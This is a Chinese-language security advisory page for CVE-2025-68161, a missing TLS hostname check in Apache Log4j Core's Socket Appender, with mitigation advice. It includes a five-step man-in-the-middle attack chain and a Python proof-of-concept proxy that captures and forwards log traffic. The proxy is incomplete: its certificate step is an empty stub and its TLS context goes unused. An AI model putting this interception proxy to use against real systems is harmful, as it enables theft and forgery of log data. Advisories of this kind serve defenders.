IPBUF安全漏洞报告
English
CVE-2025-68161 CVSS 4.8 中危

CVE-2025-68161 Apache Log4j Core Socket Appender TLS主机名验证缺失漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-68161
漏洞类型
TLS/SSL配置错误
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache Log4j Core

相关标签

中间人攻击TLS配置错误主机名验证缺失日志安全Apache Log4jSocket AppenderCVE-2025-68161

漏洞概述

Apache Log4j Core 2.0-beta9至2.25.2版本中的Socket Appender组件存在TLS主机名验证缺失的安全漏洞。当Socket Appender配置为使用SSL/TLS加密传输日志数据时,即使将verifyHostName配置属性或log4j2.sslVerifyHostName系统属性设置为true,也无法对服务器证书进行有效的主机名验证。这一缺陷使得攻击者能够在特定条件下执行中间人攻击,拦截或重定向客户端与日志接收器之间的通信流量,窃取敏感的日志数据内容。由于Log4j在企业级应用中被广泛用于日志记录管理,该漏洞可能影响大量使用Socket Appender进行远程日志传输的系统安全。

技术细节

Apache Log4j Core的Socket Appender提供了通过网络Socket发送日志事件的功能,支持SSL/TLS加密传输。该组件本应通过verifyHostName属性和log4j2.sslVerifyHostName系统属性控制是否验证服务器证书的主机名,但代码实现中存在缺陷,导致这些配置选项在Socket Appender中无法生效。漏洞根因在于Socket Appender在建立TLS连接时,跳过了对证书Subject Alternative Name(SAN)或Common Name(CN)与连接目标主机名匹配性的校验。攻击者利用此漏洞需要满足两个条件:一是能够拦截或重定向目标系统与日志服务器之间的网络流量(如通过ARP欺骗、DNS劫持等手段);二是能够提供由目标系统信任的CA颁发的有效证书(如自签名但被目标信任的证书,或攻击者控制的CA签发的证书)。成功利用后,攻击者可截获传输中的日志数据,甚至可能注入伪造的日志条目。

攻击链分析

STEP 1
步骤1:网络位置获取
攻击者通过ARP欺骗、DNS劫持或其他网络攻击手段,获取目标系统与日志服务器之间网络流量的拦截能力
STEP 2
步骤2:证书准备
攻击者获取由目标系统信任的CA颁发的证书,可以是自签名但被目标信任的证书,或通过其他方式获得的受信任证书
STEP 3
步骤3:中间人代理部署
攻击者在目标系统与日志服务器之间部署恶意代理服务器,使用准备的证书建立TLS连接,诱骗目标客户端
STEP 4
步骤4:流量拦截与窃取
由于Log4j Socket Appender不会验证证书主机名,客户端会接受攻击者提供的证书,建立加密连接,攻击者即可截获所有传输的日志数据
STEP 5
步骤5:数据篡改或持久化
攻击者可以存储截获的敏感日志信息用于后续分析,或在某些场景下向日志流中注入伪造的恶意日志条目

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-68161 PoC - MITM attack against vulnerable Log4j Socket Appender # This PoC demonstrates how an attacker can intercept TLS traffic when hostname verification is bypassed import ssl import socket import subprocess import time def create_malicious_certificate(): """ Generate a certificate that will be trusted by the vulnerable Log4j client This simulates an attacker who has obtained a certificate from a trusted CA """ # In real attack, attacker would use a certificate from a CA trusted by the target # This could be a compromised CA or a certificate for a domain the attacker controls pass def setup_mitm_proxy(listen_port=4443, target_host='logserver.example.com', target_port=4560): """ Set up a transparent proxy to intercept and potentially modify log traffic The proxy will forward traffic to the real server while logging all communications """ context = ssl.create_default_context() context.check_hostname = False # This is what the vulnerable Log4j does context.verify_mode = ssl.CERT_NONE # Bypass certificate verification server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', listen_port)) server.listen(5) print(f"[*] MITM Proxy listening on port {listen_port}") print(f"[*] Forwarding to {target_host}:{target_port}") while True: client_sock, addr = server.accept() print(f"[+] Connection from {addr}") # Log intercepted data data = client_sock.recv(4096) print(f"[*] Intercepted data: {data}") # Forward to real server try: with socket.create_connection((target_host, target_port), timeout=5) as real_server: real_server.sendall(data) response = real_server.recv(4096) client_sock.sendall(response) except Exception as e: print(f"[-] Error: {e}") client_sock.close() def exploit_conditions(): """ Verify conditions required for successful exploitation: 1. Network traffic interception capability 2. Valid certificate from trusted CA """ print("Exploitation requires:") print("1. Ability to intercept/redirect network traffic (MITM position)") print("2. Certificate signed by CA trusted by target's truststore") if __name__ == "__main__": setup_mitm_proxy()

影响范围

Apache Log4j Core >= 2.0-beta9 且 < 2.25.3

防御指南

临时缓解措施
立即升级Apache Log4j Core至2.25.3版本。如果暂时无法升级,可采取以下临时措施:1) 配置Socket Appender使用自定义truststore,仅包含受信任的证书,限制可信任的CA范围;2) 确保日志服务器使用专用证书,避免使用公共CA签发的证书;3) 在网络层面实施访问控制,限制对日志服务器端口的访问;4) 监控TLS连接建立过程中的异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表